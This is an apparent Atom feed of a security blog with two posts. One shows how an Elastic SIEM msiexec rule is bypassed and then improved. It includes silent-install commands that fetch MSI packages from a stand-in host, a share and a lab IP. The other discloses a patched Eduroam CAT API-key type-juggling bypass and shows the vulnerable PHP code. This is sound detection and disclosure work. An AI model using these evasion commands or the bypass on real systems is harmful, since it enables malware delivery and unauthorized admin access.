<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://dogru-isim.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://dogru-isim.github.io/" rel="alternate" type="text/html" /><updated>2026-02-16T11:23:58+00:00</updated><id>https://dogru-isim.github.io/feed.xml</id><title type="html">Pirate’s Life</title><subtitle>A wannabe hacker&apos;s diary.
</subtitle><author><name>By Ad0n</name></author><entry><title type="html">Adversary-Informed Defense 2: Exploring the New Windows Service Discovery Abuse Technique and Detection (Coming Soon)</title><link href="https://dogru-isim.github.io/articles/2026/02/16/purple_teaming_2_windows_service_recovery_abuse.html" rel="alternate" type="text/html" title="Adversary-Informed Defense 2: Exploring the New Windows Service Discovery Abuse Technique and Detection (Coming Soon)" /><published>2026-02-16T00:00:00+00:00</published><updated>2026-02-16T00:00:00+00:00</updated><id>https://dogru-isim.github.io/articles/2026/02/16/purple_teaming_2_windows_service_recovery_abuse</id><content type="html" xml:base="https://dogru-isim.github.io/articles/2026/02/16/purple_teaming_2_windows_service_recovery_abuse.html"><![CDATA[]]></content><author><name>By Ad0n</name></author><category term="articles" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Authentication Bypass Vulnerability Leading to Remote Code Execution (Coming in April)</title><link href="https://dogru-isim.github.io/articles/2026/02/08/new_post_coming_soon.html" rel="alternate" type="text/html" title="Authentication Bypass Vulnerability Leading to Remote Code Execution (Coming in April)" /><published>2026-02-08T00:00:00+00:00</published><updated>2026-02-08T00:00:00+00:00</updated><id>https://dogru-isim.github.io/articles/2026/02/08/new_post_coming_soon</id><content type="html" xml:base="https://dogru-isim.github.io/articles/2026/02/08/new_post_coming_soon.html"><![CDATA[]]></content><author><name>By Ad0n</name></author><category term="articles" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Adversary-Informed Defense 1: Implementing, Bypassing, and Improving a Pre-built Elastic SIEM Rule</title><link href="https://dogru-isim.github.io/articles/2026/02/05/purple_teaming_1_configuring_and_elastic_rule_and_bypassing_it.html" rel="alternate" type="text/html" title="Adversary-Informed Defense 1: Implementing, Bypassing, and Improving a Pre-built Elastic SIEM Rule" /><published>2026-02-05T00:00:00+00:00</published><updated>2026-02-05T00:00:00+00:00</updated><id>https://dogru-isim.github.io/articles/2026/02/05/purple_teaming_1_configuring_and_elastic_rule_and_bypassing_it</id><content type="html" xml:base="https://dogru-isim.github.io/articles/2026/02/05/purple_teaming_1_configuring_and_elastic_rule_and_bypassing_it.html"><![CDATA[<h1 id="prelude">Prelude</h1>

<h2 id="content">Content</h2>

<p>In this post I share some of my experiences with Elastic SIEM. More specifically, integrating a prebuilt Elastic SIEM rule, finding ways to bypass it, and improving the rule.</p>

<h2 id="background">Background</h2>

<p>Ever since the inception of my journey, I was focused on offensive security. I wanted to become a red teamer or at the very least a pentester. This started with a &#8220;Web Only&#8221; perspective which then moved to &#8220;Active Directory Only&#8221; and has been moving every since. But as time passed (as it does) and I grew as a person, I learned the importance of understanding cybersecurity as a whole and more importantly, I learned to be humble enough to say I made a mistake by not taking off the blinders but I&#8217;m willing to make it right. That&#8217;s why I took on this side-project for a semester break. For any cybersecurity enthusiast out there, don&#8217;t make the mistake I did. Learn cybersecurity as a whole and focus on the fundamentals. If you think you understand the fundamentals go back and work on them more. Don&#8217;t just read an article and think you understand it either. Practice, experiment, and implement. This was my first experience with blue teaming (or purple teaming) and except for installing the Elastic Stack, I really enjoyed it. But get ready to see some unhinged stuff (hopefully there aren&#8217;t any though)</p>

<h1 id="introduction">Introduction</h1>

<p>Elastic is a very common logging solution used by many organizations [1.0]. Elastic provides many use cases such as security or performance metrics logging. Modern versions of Elastic works with a server-agent model. You can learn more about how this model works in [1.1]. The bare minimum Elastic agent is pretty boring. It provides very useless data from a security point of view. This is where Integrations come into play. You can deploy integrations into Elastic agents so that they collect logs from places like Sysmon and Elastic Defend (Elastic EDR). You can see a list of all integrations in [1.2]</p>

<p>Elastic SIEM requires detection rules to operate reliably. Therefore, security teams are responsible for installing and engineering relevant detection rules. If they are too restrictive, the SOC would get flooded and they would miss real threats. And if they are too loose, threat actors would pass right by. Elastic SIEM provides over 1500 detection rules [1.3]. Some are built with generative AI [1.4] and some are hand-made.</p>

<p>In this post, I share my experience with installing one of these detection rules and my efforts to bypass it. I believe this is a fantastic exercise to build purple teaming skills and understand security as a whole.</p>

<p>[1.0] https://www.elastic.co/customers</p>

<p>[1.1] https://www.devopsschool.com/blog/what-is-elastic-agents-its-feature-and-how-it-works/</p>

<p>[1.2] https://www.elastic.co/guide/en/integrations/current/index.html</p>

<p>[1.3] https://www.elastic.co/guide/en/security/current/prebuilt-rules.html</p>

<p>[1.4] https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/integrations/dga/command_and_control_ml_dga_high_sum_probability#triage-and-analysis</p>

<h1 id="engineering-a-detection-rule">Engineering a Detection Rule</h1>

<h2 id="some-rant">Some Rant</h2>

<p>The golden age for threat actors is long gone. 5 years ago, you could send a Word document with malicious macros and trick a user into enabling the macros fairly easily to compromise their machine. I remember completing TryHackMe&#8217;s red teamer training where they taught how to create Office macros just to see them go (almost) obsolute (when targeting modern systems) after Microsoft disabled execution of macros inside documents that are downloaded from the internet. This lead to things like MOTW bypass (the mechanisms that Windows uses to tell if a file was downloaded from the internet) with ISO files and other alternative archive formats which also went (somewhat) obsolute after security patches. Then came the age of Entra ID phishing with things like device code phishing and evilginx. I was once told by a red teamer that you can still plant Office macros into documents after getting access to someone&#8217;s Office 365 account with Entra ID phishing. I didn&#8217;t test this personally though. Nevertheless, these techniques will probably also go obsolute when passkeys become the standard authentication method in Entra ID [2.0]. At that point, threat actors and red teamers will need to find alternative initial access methods like passkey phishing [2.1] or malicious browser and other 3rd party extensions [2.2] [2.3]. And of course, we shouldn&#8217;t forget ClickFix variations like ConsentFix [2.4].</p>

<p>There are many interesting techniques that can be used by attackers: installer phishing [2.5], ClickOnce-based phishing [2.6], AI-helped phishing, voice phishing, SMS phishing, this phishing, that phishing and the list goes on [2.7]. Even USB based phishing can become a thing again [2.8]. Afterall, MOTW bypass is not a concern in USB contained files. I am still wondering what would happen if someone managed to enter into an office room at night and placed Rubber Ducky implanted mice [2.9] on everyone&#8217;s desks. How many would like to test out the brand new mouse that is seemingly still sealed inside its box.</p>

<p>It&#8217;s also remarkable that cybersecurity solutions are becoming increasingly reliant on physical security with the rise of YubiKeys, and TPM based authentication methods like passkeys. At this point, the question becomes is your organization&#8217;s physical security in check? How well trained are your employees and your coworkers? What if an attacker targets them outside of the workplace?</p>

<p>Anyways, my point is that threat actors and red teamers need to decide which initial access technique they will choose which means I need to choose an initial access technique as well.</p>

<p>For this side-project of mine, I decided to look at MSI installer based initial access techniques. Mainly because they are easy to make a PoC with and are somewhat common [2.10] [2.11]. Elastic SIEM provides a few detection rules for identifying malicious usage of msiexec. One of them is the &#8220;Potential Remote Install via Msiexec [2.12]&#8221;</p>

<p>[2.0] https://mc.merill.net/message/MC1221452</p>

<p>[2.1] https://www.youtube.com/watch?v=xdl08cPDgtE</p>

<p>[2.2] https://www.youtube.com/watch?v=GG4gAhbhPH8</p>

<p>[2.3] https://www.reddit.com/r/programming/comments/1dcz9uj/malicious_vscode_extensions_with_millions_of/</p>

<p>[2.4] https://www.youtube.com/watch?v=AAiiIY-Soak</p>

<p>[2.5] https://vicone.com/blog/phishing-beyond-emails-how-compromised-installers-threaten-automotive-software-supply-chains</p>

<p>[2.6] https://www.trellix.com/blogs/research/oneclik-a-clickonce-based-red-team-campaign-simulating-apt-tactics-in-energy-infrastructure/</p>

<p>[2.7] https://www.google.com/search?q=hp-wolf-security-threat-insights-report</p>

<p>[2.8] https://www.coro.net/blog/why-usb-attacks-are-back-and-how-to-prevent-them</p>

<p>[2.9] https://www.youtube.com/watch?v=r9SWkGPlJWM</p>

<p>[2.10] https://www.google.com/search?q=msiexec+malware+campaign</p>

<p>[2.11] https://thehackernews.com/2025/08/attackers-abuse-velociraptor-forensic.html</p>

<p>[2.12] https://www.elastic.co/guide/en/security/8.19/potential-remote-install-via-msiexec.html</p>

<h2 id="detection-rule-potential-remote-install-via-msiexec">Detection Rule: Potential Remote Install via Msiexec</h2>

<p>According to the above source [2.11] , this rule is built with generative AI and has been reviewed (although we don&#8217;t know who or what reviewed it). It&#8217;s job is described as &#8220;Identifies attempts to install a file from a remote server using MsiExec. Adversaries may abuse Windows Installers for initial access and delivery of malware.&#8221; It&#8217;s severity is High and is implemented with the following EQL query.</p>

<pre><code class="language-eql">process where host.os.type == "windows" and event.type == "start" and
  process.name : "msiexec.exe" and process.args : ("-i", "/i") and process.command_line : "*http*" and
  process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and
  process.parent.name : ("sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe") and
  not process.command_line : ("*--set-server=*", "*UPGRADEADD=*" , "*--url=*",
                              "*USESERVERCONFIG=*", "*RCTENTERPRISESERVER=*", "*app.ninjarmm.com*", "*zoom.us/client*",
                              "*SUPPORTSERVERSTSURI=*", "*START_URL=*", "*AUTOCONFIG=*", "*awscli.amazonaws.com*")
</code></pre>

<p>This rule creates an alert with High severity when msiexec is executed with certain flags. But there are many exceptions to this. For example, the rule doesn&#8217;t alert if &#8220;zoom.us/client&#8221; is anywhere in the executed command. This can be seen in the below pictures.</p>

<p><img src="/assets/images/2026-02-5-purple_teaming_1_configuring_and_elastic_rule_and_bypassing_it/15_running_different_versions_of_the_payload.png" alt="msiexec-get-caught" />
(running different variations of msiexec)</p>

<p><img src="/assets/images/2026-02-5-purple_teaming_1_configuring_and_elastic_rule_and_bypassing_it/25_siem_caught_msiexec.png" alt="msiexec-alert" />
(example alert)</p>

<p>As you can see, the ones that didn&#8217;t have &#8220;zoom.us/client&#8221; in the command can be detected using this rule. However, this rule failed to generate an alert when &#8220;zoom.us/client&#8221; was used as part of the remote url path. At this point, a SOC engineer either needs to remove this exclusion from the rule, or fine-tune it (along with some of the other exclusions) to be more precise like &#8220;https://zoom.us/client*&#8221;.</p>

<p>I should also point out that this variation of the payload was still logged but didn&#8217;t cause an alert, there is no real reason for a SOC analyst to dive into random logs therefore we can assume that an attacker using this bypass technique would be undetected. You can see the generated log in the below image.</p>

<p><img src="/assets/images/2026-02-5-purple_teaming_1_configuring_and_elastic_rule_and_bypassing_it/27_bypass_trick_is_logged_but_not_detected.png" alt="logged-but-not-detected" /></p>

<p>I tried fine-tuning the rule like so:</p>

<pre><code class="language-eql">process where host.os.type == "windows" and event.type == "start" and
  process.name : "msiexec.exe" and process.args : ("-i", "/i") and process.command_line : ("*http*", "\\\\") and
  process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and
  process.parent.name : ("sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe") and
  not process.args : ("https://zoom.us/client/*")
</code></pre>

<p>This way, there must be an argument starting with &#8220;https://zoom.us/client/*&#8221;. An attacker can provide an arbitrary argument only once which is when they call the remote installer. All other arguments either start with a &#8216;-&#8216; or a &#8216;/&#8217;. A second arbitrary argument causes msiexec to give an error. So, the following msiexec command gives an error.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">msiexec</span><span class="w"> </span><span class="nt">-i</span><span class="w"> </span><span class="nx">https://ev.il/install.msi</span><span class="w"> </span><span class="nx">/qn</span><span class="w"> </span><span class="nx">/quiet</span><span class="w"> </span><span class="s2">"https://zoom.us/client/"</span><span class="w">  </span><span class="c"># error</span><span class="w">
</span></code></pre></div></div>

<p>Another change is I added &#8220;\\&#8221; to process.command_line because msiexec supports executing installers from remote SMB shares. But it does not support FTP or Gopher so we&#8217;re good. The following msiexec command would work and would not get detected in the initial version but the modified version detects it.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">msiexec</span><span class="w"> </span><span class="nt">-i</span><span class="w"> </span><span class="nx">\\ev.il\install.msi</span><span class="w"> </span><span class="nx">/qn</span><span class="w"> </span><span class="nx">/quiet</span><span class="w">  </span><span class="c"># valid, installs program from remote share and bypasses the first variant of the detection rule</span><span class="w">
</span></code></pre></div></div>

<p>UPDATE: I just realized the following payload bypasses the defense I implemented for the Zoom exclusion and msiexec doesn&#8217;t give an error.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">msiexec.exe</span><span class="w"> </span><span class="nt">-i</span><span class="w"> </span><span class="nx">http://10.0.2.11/TRYING/install.msi</span><span class="w"> </span><span class="nx">/g</span><span class="w"> </span><span class="nx">https://zoom.us/client/asdf</span><span class="w">
</span></code></pre></div></div>

<p>The following is an improvement to the improvement. It can be extended to account for other flags that let you provide arbitrary parameters.</p>

<pre><code class="language-eql">process where host.os.type == "windows" and event.type == "start" and
  process.name : "msiexec.exe" and process.args : ("-i", "/i") and process.command_line : ("*http*", "*\\\\*") and
  process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and
  process.parent.name : ("sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe") and
  not (process.args : "https://zoom.us/client/*" and
  not process.command_line : "*/g*https://zoom.us/client/*")
</code></pre>

<p>END UPDATE</p>

<h1 id="conclusion">Conclusion</h1>

<p>This small research points out the importance of well-thought defense engineering and how adversarial thinking plays a role in that.</p>

<p>As a beginner in defensive security, this side-project helped me to gain more insight into the intricate world of SOC. My only regret is how much time I spent just failing to setup Elastic. Regardless, I recommend anyone interested in blue teaming or red teaming do this project as well. Any red teamer should understand the SOC&#8217;s side of things and any blue teamer should be familiar with detection rules, false-positives, and false-negatives.</p>

<p>And that&#8217;s it. Hope you gained something out of this post. As always, if you have questions, criticisms, or just want to reach out, you know how to find my contact details.</p>

<p>EOF</p>]]></content><author><name>By Ad0n</name></author><category term="articles" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Eduroam CAT Authentication Bypass Vulnerability or How Hundreds of Educational Institutions were Exposed to a Single Exploit</title><link href="https://dogru-isim.github.io/articles/2026/01/21/eduroam_CAT_authentication_bypass_vulnerability_or_how_I_hacked_hundreds_of_educational_institutions_with_a_single_exploit.html" rel="alternate" type="text/html" title="Eduroam CAT Authentication Bypass Vulnerability or How Hundreds of Educational Institutions were Exposed to a Single Exploit" /><published>2026-01-21T00:00:00+00:00</published><updated>2026-01-21T00:00:00+00:00</updated><id>https://dogru-isim.github.io/articles/2026/01/21/eduroam_CAT_authentication_bypass_vulnerability_or_how_I_hacked_hundreds_of_educational_institutions_with_a_single_exploit</id><content type="html" xml:base="https://dogru-isim.github.io/articles/2026/01/21/eduroam_CAT_authentication_bypass_vulnerability_or_how_I_hacked_hundreds_of_educational_institutions_with_a_single_exploit.html"><![CDATA[<h1 id="prelude">Prelude</h1>

<h2 id="disclaimer-for-the-non-technical">Disclaimer for the Non-Technical</h2>

<p>The vulnerability discussed in this post was reported by the author with a responsible disclosure policy and it was patched before releasing this post to make sure no harm was done. This post does not make any claims regarding the overall safety of Eduroam. This post contains no criticism of Eduroam and parties that develop Eduroam. Vulnerabilities exist in every system with enough complexity and the responsible disclosure of a vulnerability only makes a system safer, not untrustable.</p>

<h2 id="content">Content</h2>

<p>In this post, I discuss an authentication bypass vulnerability that I discovered in Eduroam CAT including the background, the discovery process, and the potential impact. The technical parts are made as simple as possible to reach as wide of an audience as possible.</p>

<h1 id="introduction">Introduction</h1>

<h2 id="why-find-a-vulnerability-in-eduroam">Why Find a Vulnerability in Eduroam</h2>

<p>Like millions of other university students, I connect to the Eduroam network when I’m at school. And as a regular Eduroam user, it’s important for me to know if it contains vulnerabilities that can be exploited by malicious actors so that I know if I’m safe or not. My preliminary research showed no signs indicating that the Eduroam CAT project had continous code security audits. I don’t know if this statement is actually true but the fact that I couldn’t find any public mentions of security audits or any commits that mention security fixes meant that there was a higher chance of finding an easy-to-spot vulnerability that would otherwise have been discovered and patched.</p>

<h2 id="what-is-eduroam-cat">What is Eduroam CAT</h2>

<p>This post assumes the reader knows what Eduroam is. So, let me explain what Eduroam CAT is.</p>

<p>CAT [1.0] is an open-source project described on its GitHub page with the following paragraph:
“CAT collects information about RADIUS/EAP deployments from Wi-Fi network administrators and generates simple-to-use, good-looking, and secure installation programs for users of these networks. The goal is to vastly improve the network security by pushing secure Wi-Fi settings to all users without the need to expose them to or require them to understand all of the underlying technologies and configuration parameters.” CAT is the so called “flagship” of Eduroam.</p>

<p>RADIUS is an extremely common authentication protocol used in enterprise level networks. The protocol has recently been the target of the BLAST-Radius vulnerability unraveled by some other amazing hackers. Their work was presented in Black Hat [1.1].</p>

<p>However, the vulnerability explained in this post is not related to BLAST-Radius. In fact, Eduroam published a response to this vulnerability [1.2] stating Eduroam authentications are not vulnerable. Nevertheless, I encourage the curious to watch the video.</p>

<h2 id="threat-modeling-eduroam-cat">Threat Modeling Eduroam CAT</h2>

<p>CAT has 3 major user roles: the end user, the IdP admin, and the National Roaming Operator (NRO). Have a look at the below image for a visual representation of their hierarchy.</p>

<p><img src="/assets/images/2026-01-07-how_I_discovered_an_authentication_bypass_vulnerability_in_Eduroam/hierarchy.png" alt="hierarchy" /></p>

<p>The end user has a very limited purpose in their life; to download the client configurator (a.k.a. the installer) and log into an eduroam network in their vicinity. The end user can choose a client configurator based on their identity provider (IdP). An identity provider is an institution, a research center, or a university that the end user is part of. IdPs are managed by local administrators that were assigned by NROs. The NRO has the greatest control over the others. They are in control of what are called “Federations”. Federations are the countries that are registered as part of the (eduroam) project. An NRO can only create institutions and/or assign administrators to the institutions that are within their federation.</p>

<p>Eduroam CAT provides a user interface for both IdP admins and NROs to perform their administrative actions. Additionaly, a separate NRO API [1.3] (which used to be called Admin API) is provided for NROs to manage their federations without the hastle of a user interface. You know, who wants to write an automation tool that has to parse HTML and do things like managing CSRF tokens? An API is nice. Anyways, unfortunately, the official documentation for this API was put behind a login page after my report so I cannot make references to it.</p>

<p>For the more technical; in the NRO API, the described cross-federation access control is managed by the <code class="language-plaintext highlighter-rouge">$federation</code> variable that gets populated when an NRO provides their API key. Using this API key, the program checks which federation the NRO belongs to. To become an NRO of a federation, it is enough to obtain the API key for that federation. In user interfaces, authentication is done with Single Sign-On through SAML.</p>

<p>The vulnerability discussed in this document allows an unauthenticated remote user to gain NRO level access to a federation.</p>

<p>[1.0] https://cat.eduroam.org/</p>

<p>[1.1] https://www.youtube.com/watch?v=dagyATfzRFo&amp;pp=ygUPcmFkaXVzIGJsYWNraGF00gcJCbIJAYcqIYzv</p>

<p>[1.2] https://eduroam.org/eduroam-response-to-the-blastradius-vulnerability/</p>

<p>[1.3] https://wiki.geant.org/spaces/H2eduroam/pages/121346281/A+guide+to+eduroam+Managed+IdP+for+IdP+administrators#AguidetoeduroamManagedIdPforIdPadministrators-NROAdministratorAPI</p>

<h1 id="discovery">Discovery</h1>

<p>After many greps, failed PoCs, and left-open tabs (exaggerating a bit), I came across an interesting code that does what is known as “Type Juggling”. (flashbacks). But before diving into what type jugging is, I’d like to talk about the process that led me to this interesting code.</p>

<h2 id="spotting-the-vulnerable-code">Spotting the Vulnerable Code</h2>

<p>To follow the assertion that Eduroam is likely to have an easy-to-spot vulnerability from the “Why Find a Vulnerability in Eduroam” section I started navigating the project files to see if an admin level functionality was missing authentication logic [2.0]. This is a relatively easy mistake developers can make that is also very easy to spot if you stare at a codebase for enough time. Developers can create an authentication function in the code and call it before each time an admin level operation is requested by a user. I believe this mistake is even more common in today’s rushed projects. If developers forget to call the authentication function, a non-privileged user can access privileged functionalities. See example in [2.1].</p>

<p>Eduroam’s authentication mechanism revolves around delegation. Meaning, the responsibility of authenticating users is not on Eduroam itself. For example, when users want to connect to an Eduroam access point (modem) to connect to the internet, they enter their institution credentials. Users don’t have separate credentials for Eduroam because the authentication is done using RADIUS [2.2]. In the case of Eduroam CAT, when an administrator (IdP admin or NRO) wants to authenticate to CAT to perform administrative actions, the authentication is done via Single Sign-On (SSO). (with an exception that I’ll get to). For basics of SSO, view [2.4].</p>

<p>In the below image, you see how Eduroam CAT handles SSO.</p>

<p><img src="/assets/images/2026-01-07-how_I_discovered_an_authentication_bypass_vulnerability_in_Eduroam/sso.png" alt="sso" /></p>

<p>Eduroam CAT is what is known as a service provider. It relies on identity providers for authentication. In most cases, the identity provider is a university that is part of to the EduGAIN project. However, Eduroam CAT allows you to use Google, Facebook, and LinkedIn as identity providers as well. To foreshadow, this is important if we want to prove that unauthorized emails can access admin functionalities.</p>

<p>Eduroam calls the below function for SSO authentication before giving a user access to sensitive endpoints such as an institution’s control panel.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="cd">/**
     * authenticates a user.
     * 
     * @return void
     * @throws Exception
     */</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">authenticate</span><span class="p">()</span> <span class="p">{</span>
        <span class="err">\</span><span class="nc">core\common\Entity</span><span class="o">::</span><span class="nf">intoThePotatoes</span><span class="p">();</span>
        <span class="nv">$loggerInstance</span> <span class="o">=</span> <span class="k">new</span> <span class="err">\</span><span class="nf">core\common\Logging</span><span class="p">();</span>
        <span class="nv">$authSimple</span> <span class="o">=</span> <span class="k">new</span> <span class="err">\</span><span class="nf">SimpleSAML\Auth\Simple</span><span class="p">(</span><span class="err">\</span><span class="nc">config\Master</span><span class="o">::</span><span class="no">AUTHENTICATION</span><span class="p">[</span><span class="s1">'ssp-authsource'</span><span class="p">]);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$authSimple</span><span class="o">-&gt;</span><span class="nf">isAuthenticated</span><span class="p">())</span> <span class="p">{</span>
            <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'saveLog'</span><span class="p">]</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="nv">$authSimple</span><span class="o">-&gt;</span><span class="nf">requireAuth</span><span class="p">();</span>
        <span class="nv">$admininfo</span> <span class="o">=</span> <span class="nv">$authSimple</span><span class="o">-&gt;</span><span class="nf">getAttributes</span><span class="p">();</span>
        <span class="c1">// ... refer to [2.3] for the full code</span>
</code></pre></div></div>

<p>This <code class="language-plaintext highlighter-rouge">authenticate()</code> function is called as shown below.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$auth</span> <span class="o">=</span> <span class="k">new</span> <span class="err">\</span><span class="nf">web\lib\admin\Authentication</span><span class="p">();</span>
<span class="nv">$auth</span><span class="o">-&gt;</span><span class="nf">authenticate</span><span class="p">();</span>
</code></pre></div></div>

<p>Again, my goal was to find a sensitive endpoint that didn’t call this function for an easy win.</p>

<p>After a full day of strictly platonic eye contact with the codebase, I could not find a missing authentication logic bug BUT I did find something interesting. The file <code class="language-plaintext highlighter-rouge">web/admin/API.php</code> had the following comment at the top <code class="language-plaintext highlighter-rouge">// no SAML auth on this page. The API key authenticates the entity</code> [2.5]. I figured they were talking about SSO not being present for this API because SAML is the mechanism behind CAT’s SSO implementation. Interesting eh? Almost like a hint you’d see in a CTF challenge. Jokes asside, this was a new attack surface that I could dig into as I wasn’t successful with finding a missing auth logic. Now I had to know how they implemented the API key authentication. When I scrolled down the file a bit, I noticed the following code:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$inputRaw</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'php://input'</span><span class="p">);</span>

<span class="nv">$inputDecoded</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$inputRaw</span><span class="p">,</span> <span class="kc">TRUE</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$inputDecoded</span><span class="p">))</span> <span class="p">{</span>
    <span class="nv">$adminApi</span><span class="o">-&gt;</span><span class="nf">returnError</span><span class="p">(</span><span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">ERROR_MALFORMED_REQUEST</span><span class="p">,</span> <span class="s2">"Unable to decode JSON POST data."</span> <span class="mf">.</span> <span class="nb">json_last_error_msg</span><span class="p">()</span> <span class="mf">.</span> <span class="nv">$inputRaw</span><span class="p">);</span>
    <span class="k">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="nv">$checkval</span> <span class="o">=</span> <span class="s2">"FAIL"</span><span class="p">;</span>
<span class="k">foreach</span> <span class="p">(</span><span class="err">\</span><span class="nc">config\ConfAssistant</span><span class="o">::</span><span class="no">CONSORTIUM</span><span class="p">[</span><span class="s1">'registration_API_keys'</span><span class="p">]</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$fed_name</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nv">$inputDecoded</span><span class="p">[</span><span class="s1">'APIKEY'</span><span class="p">]</span> <span class="o">==</span> <span class="nv">$key</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$mode</span> <span class="o">=</span> <span class="s2">"API"</span><span class="p">;</span>
        <span class="nv">$federation</span> <span class="o">=</span> <span class="nv">$fed_name</span><span class="p">;</span>
        <span class="nv">$checkval</span> <span class="o">=</span> <span class="s2">"OK-NEW"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span><span class="nv">$checkval</span> <span class="o">==</span> <span class="s2">"FAIL"</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$adminApi</span><span class="o">-&gt;</span><span class="nf">returnError</span><span class="p">(</span><span class="no">web\lib\admin\API</span><span class="o">::</span><span class="no">ERROR_INVALID_APIKEY</span><span class="p">,</span> <span class="s2">"APIKEY is invalid"</span><span class="p">);</span>
    <span class="k">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Can you see the interesting part?</p>

<p>The code uses <code class="language-plaintext highlighter-rouge">==</code> instead of <code class="language-plaintext highlighter-rouge">===</code> to compare the user controlled <code class="language-plaintext highlighter-rouge">$inputDecoded['APIKEY']</code> variable against the <code class="language-plaintext highlighter-rouge">$key</code> variable from <code class="language-plaintext highlighter-rouge">registration_API_keys</code>. This is interesting because incorrect use of <code class="language-plaintext highlighter-rouge">==</code> can lead to type juggling related vulnerabilities in PHP, and JavaScript but the latter is out of scope. (interestingly, many SQL server implementations contain a similar behavior called implicit type conversion [2.6])</p>

<p><code class="language-plaintext highlighter-rouge">registration_API_keys</code> is a PHP list that holds valid API keys and their corresponding Federations. The <code class="language-plaintext highlighter-rouge">$inputDecoded['APIKEY']</code> variable comes from a user supplied JSON data. The fact that the code is using JSON is great news for us because JSON can contain data of different types such as string, integer, and boolean. For example, the following JSON contains 1 string, 1 integer, and 1 boolean value: <code class="language-plaintext highlighter-rouge">{"user": "Bob", "age": 25, "is_banned": false}</code>. Strings is text in quotes, integer is a number not in quotes, and boolean is true or false.</p>

<p>So the following JSON <code class="language-plaintext highlighter-rouge">{"APIKEY": 123}</code> would cause the code to perform the following comparison</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">if</span> <span class="p">(</span><span class="cm">/*$inputDecoded['APIKEY']*/</span> <span class="mi">123</span> <span class="o">==</span> <span class="s2">"unknownapikey"</span> <span class="cm">/*$key*/</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// grant user access</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>[2.0] https://cwe.mitre.org/data/definitions/306.html</p>

<p>[2.1] https://nvd.nist.gov/vuln/detail/CVE-2024-3656</p>

<p>[2.2] https://eduroam.org/how/</p>

<p>[2.3] https://github.com/GEANT/CAT/blob/a60d66df7212ad566892e3320d160aa7f00f3e89/web/lib/admin/Authentication.php#L60</p>

<p>[2.4] https://systemseed.com/insights/understanding-the-fundamentals-of-single-sign-on-systems-ssos/</p>

<p>[2.5] https://github.com/GEANT/CAT/blob/a60d66df7212ad566892e3320d160aa7f00f3e89/web/admin/API.php#L30C1-L30C67</p>

<p>[2.6] https://www.google.com/search?q=%22mysql%22+OR+%22MS+SQL%22+implicit+type+conversion</p>

<h2 id="what-is-php-type-juggling">What is PHP Type Juggling</h2>

<p>Let’s talk about the elephant in the room (excuse the pun). PHP is a dynamically typed language unless strict types are enforced. Meaning, it does not require the developers to specify a variable’s type upon its creation. PHP also has a feature called “loose comparison”. The combination of the 2 can cause unintended behaviors if overlooked.</p>

<p>For example, in PHP 5 and PHP 7, when a loose comparison is performed, the number 12 equals to the text “12wat?”. Moreover, in every PHP version, the boolean <code class="language-plaintext highlighter-rouge">true</code> value is equal to “any text (string) value”. Because when PHP loosely compares 2 variables of different types, it performs type juggling [3.0]. This results in changes in variable types. You can observe the effects of type juggling and loose comparisons in PHP 7.4 below. Please note that all versions of PHP have type juggling and it’s not a vulnerability by itself, it’s a <em>feature</em>.</p>

<p><img src="/assets/images/2026-01-07-how_I_discovered_an_authentication_bypass_vulnerability_in_Eduroam/juggle.png" alt="juggle" /></p>

<p>It’s also important to mention that enforcing strict types in PHP is not the ultimate solution to type juggling related bugs.</p>

<p>[3.0] https://www.php.net/manual/en/language.types.type-juggling.php</p>

<h2 id="demystifying-the-type-juggling-behavior">Demystifying the Type Juggling Behavior</h2>

